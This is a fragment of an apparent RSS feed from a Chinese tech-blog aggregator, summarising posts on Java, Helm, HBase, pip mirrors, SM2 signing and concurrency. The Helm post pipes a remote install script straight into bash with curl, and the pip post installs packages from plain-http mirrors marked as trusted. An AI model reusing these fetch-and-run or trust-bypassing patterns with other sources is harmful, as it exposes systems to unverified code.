      <description>jre 1.8是java的运行环境，许多朋友都弄不清楚jre和jdk的区别，其实jdk是专为java开发人员打造的应用开发包，本身包含了jre，而jre就是一个运行环境，适用于所有用户，这个是32位版本，适用于32位操作系统，如果你在运行程序的时候提示没有安装jre，那就在本站下载安装一下吧。&#xA;基本介绍&#xA;Java语言是稳居网络应用程序语言的首选之一。这都要归功于它高度的安全性以及跨平台的特性，几乎在目前所有的电脑平台上您都可以见得到Java的芳踪。过去，很可能会有不少人抱怨Java虽然有着相当不错的跨平台以及安全防护等特性，但是它的执行速度远远不及C++等各种传统惯用的程序语言。不过，如今的Java不仅在执行速度上有大幅度的改革，而且在内容上也有做了不少些修改以及增强。&#xA;由于JRE新增的功能以及程序修正之处相当多，如果需要详尽资料的话不妨可以参考Sun的官方网页。&#xA;如何查看jre是32位还是64位&#xA;【1】找到jre安装位置，我的电脑位置可从下图看出，可根据我的位置找到自己jre的安装位置，如果找不到可在windows的资源管理器中搜索java。&#xA;【2】如果配置了环境变量，可打开cmd终端，输入java -version，查看系统信息即可知道自己java的版本。&#xA;【3】如果没有配置环境变量则上一步会报错，不用担心，先找到自己java所在的文件夹。&#xA;【4】打开后，进入到上图所在的bin文件夹，查看是否有一个文件名为“java.exe”如下图所示。&#xA;【5】在此文件下调出终端，按住Shift键，同时点击鼠标右键，可看到在右键菜单中多出了“在此处打开命令窗口”，单击。&#xA;【6】当出现以下画面，输入“java -version”即可看到版本信息</description>
    </item>
    <item>
      <title>java 石头剪刀布_java循环练习：石头剪刀布</title>
      <link>https://bchobby.github.io/posts/e5585ab9eb97739014efdcbdc4bd7508/</link>
      <pubDate>Thu, 18 Feb 2021 17:16:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5585ab9eb97739014efdcbdc4bd7508/</guid>
      <description>package practiceGO;&#xA;import java.util.Scanner;&#xA;/*&#xA;* 8.用循环方式实现和计算机玩猜拳的程序 (设定胜出条件--输3次或赢3次即退出)&#xA;* 0-石头 1-布 2-剪刀&#xA;*/&#xA;public class Cto {&#xA;public static void main(String[] args) {&#xA;Scanner sc = new Scanner(System.in);&#xA;int i = 0;&#xA;int j = 0;&#xA;while(true){&#xA;System.out.println(&#34;请出拳：0-石头 1-剪刀 2-布&#34;);&#xA;int perNum = sc.nextInt();&#xA;if (perNum&amp;gt;2 || perNum&amp;lt;0) {&#xA;System.out.println(&#34;输入错误&#34;);&#xA;continue;&#xA;}&#xA;int sysNum = ((int)(Math.random()*10))%3;&#xA;System.out.println(&#34;电脑出拳&#34;+sysNum);&#xA;if (perNum-sysNum==-1 || perNum-sysNum==2) {&#xA;i++;&#xA;System.out.println(&#34;玩家胜&#34;+i+&#34;次&#34;);&#xA;}else if(perNum-sysNum==1 || perNum-sysNum==-2){&#xA;j++;</description>
    </item>
    <item>
      <title>vscode安装GBKtoUTF8插件之后还是打不出部分字</title>
      <link>https://bchobby.github.io/posts/46ba35fa1693025a32fba3406d4d3b5b/</link>
      <pubDate>Thu, 18 Feb 2021 16:05:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ba35fa1693025a32fba3406d4d3b5b/</guid>
      <description>神奇，今天学java的过程中发现“员”这个字打不出来，后面测试了一下发现还有很多字打不出来，明明已经安装了那个插件啊？</description>
    </item>
    <item>
      <title>用解析树计算自定义表达式</title>
      <link>https://bchobby.github.io/posts/8929919aac947e0f39979f356a5d537b/</link>
      <pubDate>Thu, 18 Feb 2021 11:41:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8929919aac947e0f39979f356a5d537b/</guid>
      <description>不久前，我们遇到了这样的需求：项目方需要对各个业务系统进行监控，如果业务系统的分值低于某个预定的分数，则监控系统会自动为相关负责人发送告警信息。&#xA;需求 看起来并不难，我们把资源的状态由高到低分为致命、严重、警告三个级别，整个业务系统的状态受最严重节点的影响，例如：如果业务系统中有一个资源的状态是致命，那么整个业务系统就是致命。&#xA;然而需求方有很多项目采用了负载均衡或分布式部署，某个节点宕机并不影响整个系统继续运行，这种简的单规则并不能有效判断系统的整体运行状态。&#xA;在上图中，虽然可用区A挂掉了，但整个系统依旧在运行，不能简单地把整个系统判处死刑。看来“分数”的概念是必须的，需要对系统中的每个节点或集群进行打分，最终计算出整个系统的分数，再根据预先设定的阈值判断系统的最终状态。&#xA;方案 针对这种情况，我们设计了三种表达式：MIN（取集群的最小值）、MAX（取集群的最大值）、AVG（取集群的加权平均）。具体来说，每个表达式计算的是一个集群的分数，当然，一个集群可以只包含一个节点，也可以包含其他集群。这样一来，上图可以用下面的表达式计算：&#xA;AVG(可用区A * 1, 可用区B * 1)&#xA;= AVG(MAX(ECSA1, ECSA2) * 1, MAX(ECSB1, ECSB2) * 1) 其中“* 1,”表示权重是1，对于上式来说，可用区A和可用区B权重相同。上式等于：&#xA;AVG(MAX(20, 20) * 1, MAX(100, 100) * 1) = (20 + 100) / (1 + 1) = 60&#xA;业务的健康度是60分，将产生一个相应级别的告警。&#xA;根据这种规则，可以进行任意嵌套：&#xA;MAX(AVG(60*3, 70*2, MAX(40, 70) * 4), MAX(30, 40, AVG(30*3, 90*7)), 50)&#xA;接下来的问题是，代码在有较强可读性的前提下，怎样根据给出的表达式计算出结果？&#xA;算法 在发布任务前，我给出了几个测试用例：&#xA;AVG(AVG(10*2, 2*2) * 1, 20 * 10) = 19&#xA;MAX(MIN(10, 5),10,MAX(20,21) = 21</description>
    </item>
    <item>
      <title>高并发消息队列常用通知机制</title>
      <link>https://bchobby.github.io/posts/c9027eb3f3d810a47a68f389cfb23e26/</link>
      <pubDate>Wed, 17 Feb 2021 22:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9027eb3f3d810a47a68f389cfb23e26/</guid>
      <description>常用的通知机制中比较典型的有以下几种： 1、signal — zeromq 唤醒线程&#xA;这种机制下，我们向被通知进程发送一个特殊的signal（比如SIGUSR1），这样正在睡眠的读进程就会被信号中断，然后醒来。&#xA;该方法的优点是：读进程不需要监听一个额外的eventfd，适合一些不方便使用eventfd的场景；另外，用户可以选择是使用实时信号（SIGRTMIN+1），还是使用非实时信号（SIGUSR1）。&#xA;该方法的缺点是：通知不实时。因为信号的检查只有在中断返回的时候才会进行，这个时间跟操作系统的HZ、jiffies有关。&#xA;2、socket — nginx socketpair&#xA;这种机制下，写进程往socket（domain socket）写一个字符，然后读进程通过epoll/select/poll得到数据到达的通知。&#xA;3、fifo&#xA;这种机制跟socket类似，写进程往fifo中写一个字符，然后读进程通过epoll/select/poll得到数据到达的通知。&#xA;4、pipe ----- 占用两个文件描述符&#xA;跟2、3差不多。&#xA;5、eventfd/signalfd — 不像pipe一样需要两个描述符，它只需要一个描述就可以实现进程间通信了。&#xA;跟前面差不多，不过是内核帮我们事先fifo、signal通知，只有比较新的内核版本才支持。这种方式存在的问题是需要在不同进程间传递句柄，非fork方式实现比较复杂。&#xA;上面这几种方式的共性是都需要陷入内核，被通知进程只有在内核态才能接收通知，对于处理性能要求高的场景，应该少用通知。&#xA;所以，当然就看业务场景发送通知的开销是不是很大了。如果请求量很大，读进程一直忙于处理，不会频繁触发通知，那就很合适了。&#xA;服务端设计方案 1、首先主进程根据机器CPU个数，创建对应数量的管道；&#xA;2、创建完对应的管道之后，再创建一样数量的线程，每个线程绑定一个CPU；&#xA;3、主进程开始初始化socket，然后accept，当接收到一个客户端连接时，就把conn_fd写到某个pipe中；&#xA;3、每个线程创建epoll，然后监听对应pipe的写端fd，当监听到pipe中有数据时，就读取该数据，格式化为fd，将该fd加入epoll进行监听。&#xA;memcached 实现方案 主线程和工作线程共享着pipe，主线程负责监听listenfd，当有客户端到来时，将clientfd封装成MSG_ITEM，放入消息队列，然后给管道写入一个字符。子线程是负责监听各个clientfd，也在一个libevent事件循环中，这时管道读端提醒可读事件，然后回调函数就去读取消息队列的MSG_ITEM，取出clientfd，放入libevent监听中～&#xA;参考：&#xA;https://www.cnblogs.com/i4oolish/p/3970402.html&#xA;https://www.cnblogs.com/i4oolish/p/3971322.html</description>
    </item>
    <item>
      <title>ModuleNotFoundError: No module named ‘matplotlib‘ 解决办法</title>
      <link>https://bchobby.github.io/posts/378971e66526c6947d1b46044dff99e4/</link>
      <pubDate>Wed, 17 Feb 2021 09:15:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/378971e66526c6947d1b46044dff99e4/</guid>
      <description>问题：ModuleNotFoundError: No module named ‘matplotlib’ 解决办法： round 1：打开PyCharm，点击File-&amp;gt;Settings，点击弹出界面的“+”号： 输入：matplotlib ，点下面的Install Package，等待一段时间，安装失败：&#xA;round 2：pycharm的Terminal输入 pip install matplotlib 等待一段时间后安装失败。分析应该是官方的源在国外，网速慢所以安装失败，换成国内的源试试：&#xA;清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/阿里云 http://mirrors.aliyun.com/pypi/simple/中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/豆瓣(douban) http://pypi.douban.com/simple/中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/ 其中清华的镜像源5分钟同步官网一次，建议使用。&#xA;round 3：可以尝试输入以下命令： pip install XXX -i http://pypi.douban.com/simple/ --trusted -host pypi.douban.com&#xA;即在原来pip install XXX命令后添加了 -i http://pypi.douban.com/simple/ --trusted -host pypi.douban.com 后面的链接是在国内的豆瓣镜像，这样就会临时使用豆瓣的pypi镜像去安装库了&#xA;如果所使用的镜像源是未采用https加密协议的镜像网站，则会产生&#34;网站不受信任的问题&#34;，此时需要指定 –trusted-host参数手动授权信任。&#xA;pip install xxx -i https://pypi.tuna.tsinghua.edu.cn/simple&#xA;这样就会临时使用清华大学的pypi镜像去安装库了。&#xA;好，介绍到这，实践一下：pip install matplotlib -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com&#xA;哇咔咔！一次成功！&#xA;如果感觉这样麻烦的话，可以直接在pycharm里把源设置成国内的：&#xA;这样就可以用国内的源下载了：</description>
    </item>
    <item>
      <title>Helm包管理器</title>
      <link>https://bchobby.github.io/posts/317494a199ed6bc4d3a6e22e92b236a0/</link>
      <pubDate>Tue, 16 Feb 2021 22:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/317494a199ed6bc4d3a6e22e92b236a0/</guid>
      <description>Helm包管理器 Helm安装部署先决条件二进制安装脚本安装Helm初始化 使用Chart发布应用版本使用官方的Chart创建自己的Chart 变量引用、动态更新与回滚 之前提到的应用部署流程主要包括：创建项目镜像、配置deployment控制器、以及通过Service和Ingress发布应用等几个重要步骤。对于较为复杂的项目，可能会需要配置很多的yaml文件，管理起来较为复杂。为了将这些yaml文件作为一个整体来管理，同时支持yaml文件的高效复用、以及应用级别的版本管理，就需要用到Kubernetes的包管理器Helm。&#xA;Helm的v3版本在v2版本的基础上对架构进行了较大的改动：一是移除了Tiller组件，直接通过kubeconfig连接apiserver；二是release名称可以在不同的命名空间中重用；三是chart支持放到docker镜像仓库。&#xA;Helm安装部署 先决条件 安装和使用Helm之前必须满以下条件：&#xA;一个Kubernetes群集；确定安装版本的安全配置。 Helm有两种主要的安装方式，即二进制版本安装和使用脚本安装（参考 https://helm.sh/zh/docs/intro/install/）。&#xA;二进制安装 首先，前往 https://github.com/helm/helm/releases 下载需要的版本。解压下载的文件tar -zxvf helm-v3.0.0-linux-amd64.tar.gz。然后在解压目录中找到helm程序，移动到需要的目录中mv linux-amd64/helm /usr/local/bin/helm。&#xA;脚本安装 获取脚本并在本地执行安装&#xA;$ curl -fsSL -o get_helm.sh https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 $ chmod 700 get_helm.sh $ ./get_helm.sh 也可以直接执行安装：curl https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 | bash&#xA;Helm初始化 Helm安装后以后需要配置一个chart仓库地址。添加Helm官方仓库的命令为helm repo add stable https://charts.helm.sh/stable&#xA;# 查看配置的仓库列表 $ helm repo list # 查看安装的charts列表 $ helm search repo stable NAME CHART VERSION APP VERSION DESCRIPTION stable/acs-engine-autoscaler 2.2.2 2.1.1 DEPRECATED Scales worker nodes within agent pools stable/aerospike 0.</description>
    </item>
    <item>
      <title>debian10.7安装教程</title>
      <link>https://bchobby.github.io/posts/e75109308328374bd090731cbf210f07/</link>
      <pubDate>Tue, 16 Feb 2021 17:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75109308328374bd090731cbf210f07/</guid>
      <description>debian10.7安装教程 此教程是英文版，包含了下载地址，详细的安装步骤</description>
    </item>
    <item>
      <title>hbase java开发 demo_hbase-java的demo</title>
      <link>https://bchobby.github.io/posts/02d5b4d3a6613b44723dff424385eced/</link>
      <pubDate>Tue, 16 Feb 2021 14:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02d5b4d3a6613b44723dff424385eced/</guid>
      <description>1 packagecom.bjsxt.hbase;2&#xA;3 importjava.io.IOException;4&#xA;5 importorg.apache.hadoop.conf.Configuration;6 importorg.apache.hadoop.hbase.Cell;7 importorg.apache.hadoop.hbase.CellUtil;8 importorg.apache.hadoop.hbase.HColumnDescriptor;9 importorg.apache.hadoop.hbase.HTableDescriptor;10 importorg.apache.hadoop.hbase.TableName;11 importorg.apache.hadoop.hbase.client.Get;12 importorg.apache.hadoop.hbase.client.HBaseAdmin;13 importorg.apache.hadoop.hbase.client.HTable;14 importorg.apache.hadoop.hbase.client.Put;15 importorg.apache.hadoop.hbase.client.Result;16 importorg.apache.hadoop.hbase.client.ResultScanner;17 importorg.apache.hadoop.hbase.client.Scan;18 importorg.apache.hadoop.hbase.util.Bytes;19 importorg.junit.After;20 importorg.junit.Before;21 importorg.junit.Test;22&#xA;23 public classHBaseDemo {24&#xA;25 //表的管理类&#xA;26 HBaseAdmin admin = null;27 //数据的管理类&#xA;28 HTable table = null;29 //表名&#xA;30 String tm = &#34;phone&#34;;31&#xA;32 /**&#xA;33 * 完成初始化功能34 *@throwsException35 */&#xA;36 @Before37 public void init() throwsException{38 Configuration conf = newConfiguration();39 conf.set(&#34;hbase.zookeeper.quorum&#34;, &#34;node1,node2,node3&#34;);40 admin = newHBaseAdmin(conf);41 table = newHTable(conf,tm.</description>
    </item>
    <item>
      <title>java sqlexception例子_MySQL案例04：Cause: java.sql.SQLException: Could not retrieve transaction read-only...</title>
      <link>https://bchobby.github.io/posts/1b26bdbd6fdf3da6a04fe808dbb3d85b/</link>
      <pubDate>Tue, 16 Feb 2021 09:01:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b26bdbd6fdf3da6a04fe808dbb3d85b/</guid>
      <description>今天同事发现程序日志有异常抛出，询问原因，进过排查发现与java的连接参数有关系，具体处理过程如下：&#xA;一、错误信息&#xA;&#34;message&#34;: &#34;\n### Error updating database. Cause: java.sql.SQLException: Could not retrieve transaction read-only status from server\n### The error may involve com.longfor.io.sync.mapper.IoSyncMapper.insert-Inline\n### The error occurred while setting parameters\n###&#xA;SQL: INSERT INTO io_xxx ( io_id, sync_batch, sync_status, data_start_date, data_end_date ) VALUES ( ?, ?, ?, ?, ? )\n###&#xA;Cause: java.sql.SQLException: Could not retrieve transaction read-only status from server\n; SQL [];&#xA;Could not retrieve transaction read-only status from server; nested exception is java.</description>
    </item>
    <item>
      <title>java 二进制 权限_【Java EE 学习 75 上】【数据采集系统第七天】【二进制运算实现权限管理】【权限分析和设计】...</title>
      <link>https://bchobby.github.io/posts/622e89a95dd82544e32c8e5c33de4f9f/</link>
      <pubDate>Tue, 16 Feb 2021 05:21:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/622e89a95dd82544e32c8e5c33de4f9f/</guid>
      <description>一、权限计算相关分析&#xA;1.如何存储权限&#xA;首先说一下权限保存的问题，一个系统中最多有多少权限呢？一个大的系统中可能有成百上千个权限需要管理。怎么保存这么多的权限？首先，我们使用一个数字中的一位保存一种权限，那么如果现在有3600种权限需要保存，我们就需要一个3600位的数字来保存该权限，首先我们如果不考虑大数的话其它数据类型是没有办法保存这么长的数字的。所以我们为了能够保存这么多的权限，就引入了一个“权限组”的概念，这个权限组只是一个标识权限的容器，我们使用long类型的数字来保存63个权限，假设我们使用long类型的数字来保存权限组，那么很轻松的就能保存住几乎近天文数字个权限。&#xA;2.如何保存权限：使用&amp;lt;&#xA;如果有一个添加新权限的界面，该怎么添加权限呢？首先，可以给出权限名称和权限指向的url地址以及权限描述，但是不能提供权限位和权限码的编辑，权限位和权限码的计算需要系统自动计算出来。&#xA;保存权限的流程图如下：&#xA;3.如何判断用户是否有指定的权限：使用&amp;amp;运算判断权限&#xA;我们给给权限一个“public”的属性，我们使用该属性标识该资源是否需要有相关权限才能够访问，如果该属性为true，表示该资源是公共资源，不需要任何权限就能访问。每一个权限都唯一的标志了一个url，所谓的是否有权限实际上就是是否有权限访问该url。&#xA;4.如何计算用户的权限总和(rightSum数组)&#xA;使用|运算，公式：rightSum[right.pos]=right.pos|rightSum[right.pos];&#xA;二、权限实体相关分析&#xA;1.为了更加灵活的权限控制，引入角色的概念&#xA;角色直接和用户实体挂钩，用户实体不再直接和权限实体关联，而是通过角色实体和权限关联。&#xA;一个用户可以有多个角色，一个角色能够属于多个用户；一个角色能够有多个权限，一个权限能够属于多个角色，所以用户和角色之间是多对多的关系，角色和权限之间也是多对多的关系。ER图如下图所示：&#xA;2.权限实体分析&#xA;在权限管理模块，权限实体是不可再分割的最小实体。&#xA;(1)首先权限实体需要有一个权限名rightName，名字只是为了方便理解权限的作用；&#xA;(2)url，该url实际上是ActionName，如果带有get类型的参数必须将参数拿掉，比如LoginAction_login.action?username=zhangsan&amp;amp;password=lisi，将其处理之后就变成了LoginAction_login.action&#xA;(3)权限码rightCodes，一个表中rightCodes并不是唯一的，它只在对应的权限组中唯一，它使用long类型的数据类型进行保存，形式如1,2,4,8,16,....261&#xA;为了避免临界值的麻烦，权限码最大为261&#xA;(4)权限位，rightPos，也叫做权限组，这里使用一个整数保存即可，用于标识权限位所在的组，虽然只是起到标识作用，但是实际上却是权限码的容器。&#xA;(5)是否是公共资源标识common&#xA;(6)权限描述，没什么说的，加上即可。&#xA;public class Right implementsSerializable{private static final long serialVersionUID = 7690933329658416384L;private Integer rightId; //权限唯一标识id&#xA;private String rightName=&#34;未命名&#34;; //权限名称&#xA;private String rightUrl; //将要过滤的URL&#xA;private String rightDesc=&#34;默认描述&#34;; //权限描述&#xA;private Long rightCodes; //权限码&#xA;private int rightPos; //权限位，实际上就是权限组的类别&#xA;private Boolean common=true; //标识是否为公共资源的标识字段&#xA;......&#xA;}&#xA;权限实体和角色实体之间是多对多的关系，需不需要在权限映射文件中建立关联关系？我们从不会根据权限获取该权限属于哪种角色，所以不要建立权限到角色的关联关系，无用的关联只会给系统带来隐藏的负担。&#xA;3.角色实体分析&#xA;角色实体需要建立到权限实体的多对多关联关系，但是不应该建立到User实体的关联关系，原因同上。另外增加一个roleValue，使用该值标识是否有超级管理员权限。如果该标识为“-1”，那么将会覆盖其余的所有权限，称为最高权限，可以访问一切资源。&#xA;1 public class Role implementsSerializable{2 private static final long serialVersionUID = -1585936238538771703L;3 private Integer roleId; //Role对象标识id</description>
    </item>
    <item>
      <title>java form的时间格式_关于Springboot日期时间格式化处理方式总结</title>
      <link>https://bchobby.github.io/posts/2aaef15ecf0978a8ba6c52098d02f0dc/</link>
      <pubDate>Tue, 16 Feb 2021 03:53:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aaef15ecf0978a8ba6c52098d02f0dc/</guid>
      <description>项目中使用LocalDateTime系列作为DTO中时间的数据类型，但是SpringMVC收到参数后总报错，为了配置全局时间类型转换，尝试了如下处理方式。&#xA;注：本文基于Springboot2.x测试，如果无法生效可能是spring版本较低导致的。PS：如果你的Controller中的LocalDate类型的参数啥注解(RequestParam、PathVariable等)都没加，也是会出错的，因为默认情况下，解析这种参数是使用ModelAttributeMethodProcessor进行处理，而这个处理器要通过反射实例化一个对象出来，然后再对对象中的各个参数进行convert，但是LocalDate类没有构造函数，无法反射实例化因此会报错！！！&#xA;完成目标&#xA;请求入参为 String(指定格式)转 Date，支持get、post(content-type=application/json)&#xA;返回数据为Date类型转为指定的日期时间格式字符创&#xA;支持Java8 日期 API，如：LocalTime、localDate 和 LocalDateTime&#xA;GET请求及POST表单日期时间字符串格式转换&#xA;这种情况要和时间作为Json字符串时区别对待，因为前端json转后端pojo底层使用的是Json序列化Jackson工具(HttpMessgeConverter)；而时间字符串作为普通请求参数传入时，转换用的是Converter，两者在处理方式上是有区别。&#xA;使用自定义参数转换器(Converter)&#xA;实现 org.springframework.core.convert.converter.Converter，自定义参数转换器，如下：&#xA;@Configuration&#xA;public class DateConverterConfig {&#xA;@Bean&#xA;public Converter localDateConverter() {&#xA;return new Converter&amp;lt;&amp;gt;() {&#xA;@Override&#xA;public LocalDate convert(String source) {&#xA;return LocalDate.parse(source, DateTimeFormatter.ofPattern(&#34;yyyy-MM-dd&#34;));&#xA;}&#xA;};&#xA;}&#xA;@Bean&#xA;public Converter localDateTimeConverter() {&#xA;return new Converter&amp;lt;&amp;gt;() {&#xA;@Override&#xA;public LocalDateTime convert(String source) {&#xA;return LocalDateTime.parse(source, DateTimeFormatter.ofPattern(&#34;yyyy-MM-dd HH:mm:ss&#34;));&#xA;}&#xA;};&#xA;}&#xA;}&#xA;点评：以上两个bean会注入到spring mvc的参数解析器(好像叫做ParameterConversionService)，当传入的字符串要转为LocalDateTime类时，spring会调用该Converter对这个入参进行转换。&#xA;还可以对前端传递的string进行正则匹配，如yyyy-MM-dd HH:mm:ss、yyyy-MM-dd、 HH:mm:ss等，进行匹配。以适应多种场景。</description>
    </item>
    <item>
      <title>java du_为什么java中File.length（）的大小与linux du命令的大小不同</title>
      <link>https://bchobby.github.io/posts/143d3267121180be5fa4f5788e0d7a6a/</link>
      <pubDate>Tue, 16 Feb 2021 03:08:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/143d3267121180be5fa4f5788e0d7a6a/</guid>
      <description>1＆GT;对于一个空目录，linux命令du将显示0大小，这意味着它不使用磁盘空间。对？&#xA;但java中的File.length()不会显示为零，而是显示空目录使用了一些字节。&#xA;如果确实Unix中的所有内容都是文件而且占用磁盘空间，那么Java就在这里，为什么du显示其0块。&#xA;如果它应该是0个块，那么为什么Java显示空目录使用的一些字节？&#xA;$ mkdir empty_directory&#xA;$ du -h empty_directory/&#xA;0B empty_directory/&#xA;$ du empty_directory&#xA;0 empty_directory&#xA;File f = new File(&#34;/test/empty_directory&#34;);&#xA;if (f.exists() &amp;amp;&amp;amp; f.isDirectory()) {&#xA;System.out.println(f.length());&#xA;}&#xA;68&#xA;2 - ;对于同样没有空文件，linux命令du显示的大小仍然与java中的File.length()大小不同。&#xA;原因只来自差异单位：du使用的块和File.length()使用的字节？&#xA;$ du -h oneline.txt&#xA;4.0K oneline.txt&#xA;$ du oneline.txt&#xA;8 oneline.txt&#xA;$ ls -s oneline.txt&#xA;8 oneline.txt&#xA;-s显示每个文件实际使用的文件系统块数，以512字节为单位，其中部分单位向上舍入为下一个整数值。如果输出到终端，则在列出之前的行上输出所有文件大小的总和。环境变量BLOCKSIZE会覆盖512字节的单位大小。&#xA;File f = new File(&#34;/test/oneline.txt&#34;);&#xA;if (f.exists() &amp;amp;&amp;amp; f.isFile()) {&#xA;System.out.println(f.length());&#xA;}&#xA;26&#xA;困惑。请你帮个忙吗？</description>
    </item>
    <item>
      <title>thrift java 序列化_JAVA RPC (四) 之thrift序列化普通对象</title>
      <link>https://bchobby.github.io/posts/61d64275394304e9d8c0faa3a3f06866/</link>
      <pubDate>Mon, 15 Feb 2021 23:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61d64275394304e9d8c0faa3a3f06866/</guid>
      <description>1 /**&#xA;2 * Autogenerated by Thrift Compiler (0.8.0)3 *4 * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING5 * @generated6 */&#xA;7 packagecom.thrift;8&#xA;9 importorg.apache.thrift.scheme.IScheme;10 importorg.apache.thrift.scheme.SchemeFactory;11 importorg.apache.thrift.scheme.StandardScheme;12&#xA;13 importorg.apache.thrift.scheme.TupleScheme;14 importorg.apache.thrift.protocol.TTupleProtocol;15 importjava.util.List;16 importjava.util.ArrayList;17 importjava.util.Map;18 importjava.util.HashMap;19 importjava.util.EnumMap;20 importjava.util.Set;21 importjava.util.HashSet;22 importjava.util.EnumSet;23 importjava.util.Collections;24 importjava.util.BitSet;25 importjava.nio.ByteBuffer;26 importjava.util.Arrays;27 importorg.slf4j.Logger;28 importorg.slf4j.LoggerFactory;29&#xA;30 /**&#xA;31 * 测试类32 *33 */&#xA;34 public class koalasRequest implements org.apache.thrift.TBase, java.io.Serializable, Cloneable {35 private static final org.</description>
    </item>
    <item>
      <title>hutool国密sm2算法使用， 正确的秘钥生成签名及验签，签名为64字节</title>
      <link>https://bchobby.github.io/posts/aa8ac87bcd1e90216a4b135c6246b1b2/</link>
      <pubDate>Mon, 15 Feb 2021 19:12:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa8ac87bcd1e90216a4b135c6246b1b2/</guid>
      <description>hutool工具类： 在糊涂提供的国密算法，需要通过椭圆曲线生成秘钥，且当前业内私钥长度为固定32字节，公用固定长度为64字节。在参考hutool官方文档中的国密算法的例子，发现生成的秘钥非常长，远大于32字节和64字节，生成的签名长度也不是64字节。&#xA;问题描述： 官方提供如下例子，用于演示签名和验签&#xA;String content = &#34;我是Hanley.&#34;; KeyPair pair = SecureUtil.generateKeyPair(&#34;SM2&#34;); final SM2 sm2 = new SM2(pair.getPrivate(), pair.getPublic()); byte[] sign = sm2.sign(content.getBytes()); // true boolean verify = sm2.verify(content.getBytes(), sign); 此例子可以跑通，但是有以下几个问题：&#xA;生成的公钥和私钥都非常长，远大于上文说的私钥长度为固定32字节，公钥长度为64字节。没有给出通过制定的公钥或者私钥来进行单独的验签和签名 官方提供如下例子，用于演示椭圆曲线生成秘钥&#xA;String privateKeyHex = &#34;FAB8BBE670FAE338C9E9382B9FB6485225C11A3ECB84C938F10F20A93B6215F0&#34;; String x = &#34;9EF573019D9A03B16B0BE44FC8A5B4E8E098F56034C97B312282DD0B4810AFC3&#34;; String y = &#34;CC759673ED0FC9B9DC7E6FA38F0E2B121E02654BF37EA6B63FAF2A0D6013EADF&#34;; // 数据和ID此处使用16进制表示 String dataHex = &#34;434477813974bf58f94bcf760833c2b40f77a5fc360485b0b9ed1bd9682edb45&#34;; String idHex = &#34;31323334353637383132333435363738&#34;; final SM2 sm2 = new SM2(privateKeyHex, x, y); final String sign = sm2.signHex(data, id); // true boolean verify = sm2.</description>
    </item>
    <item>
      <title>7-ReentrantLock底层原理分析</title>
      <link>https://bchobby.github.io/posts/0f4b81581d7f58971de6aea775b68858/</link>
      <pubDate>Mon, 15 Feb 2021 17:33:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f4b81581d7f58971de6aea775b68858/</guid>
      <description>一，Lock Lock 在 J.U.C 中是最核心的组件。&#xA;1，Lock实现 Lock 本质上是一个接口，它定义了释放锁和获得锁的抽象方法，定义成接口就意味着它定义了锁的一个标准规范，也同时意味着锁的不同实现。实现 Lock 接口的类有很多，以下为几个常见的锁实现。&#xA;ReentrantLock：表示重入锁，它是唯一一个实现了 Lock 接口的类。重入锁指的是线程在获得锁之后，再次获取该锁不需要阻塞，而是直接关联一次计数器增加重入次数。&#xA;ReentrantReadWriteLock：重入读写锁，它实现了 ReadWriteLock 接口，在这个类中维护了两个锁，一个是 ReadLock，一个是 WriteLock，他们都分别实现了 Lock接口。读写锁是一种适合读多写少的场景下解决线程安全问题的工具，基本原则是： 读和读不互斥、读和写互斥、写和写互斥。也就是说涉及到影响数据变化的操作都会存在互斥。&#xA;StampedLock： stampedLock 是 JDK8 引入的新的锁机制，可以简单认为是读写锁的一个改进版本，读写锁虽然通过分离读和写的功能使得读和读之间可以完全并发，但是读和写是有冲突的，如果大量的读线程存在，可能会引起写线程的饥饿。stampedLock 是一种乐观的读策略，使得乐观锁完全不会阻塞写线程。&#xA;2，Lock 的类关系图 Lock 有很多的锁的实现，但是直观的实现是 ReentrantLock 重入锁&#xA;void lock() // 如果锁可用就获得锁，如果锁不可用就阻塞直到锁释放 void lockInterruptibly() // 和lock()方法相似, 但阻塞的线程 可 中 断 ， 抛 出java.lang.InterruptedException 异常 boolean tryLock() // 非阻塞获取锁;尝试获取锁，如果成功返回 true boolean tryLock(long timeout, TimeUnit timeUnit) //带有超时时间的获取锁方法 void unlock() // 释放锁 二，ReentrantLock 重入锁 重入锁，表示支持重新进入的锁，也就是说，如果当前线程 t1 通过调用 lock 方法获取了锁之后，再次调用 lock，是不会再阻塞去获取锁的，直接增加重试次数就行了。synchronized 和 ReentrantLock 都是可重入锁。</description>
    </item>
    <item>
      <title>java对字符串操作_Java基础（一）-- Java对字符串操作大全</title>
      <link>https://bchobby.github.io/posts/56d9ab56fad0af5b41162ba32ca653c8/</link>
      <pubDate>Mon, 15 Feb 2021 15:22:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d9ab56fad0af5b41162ba32ca653c8/</guid>
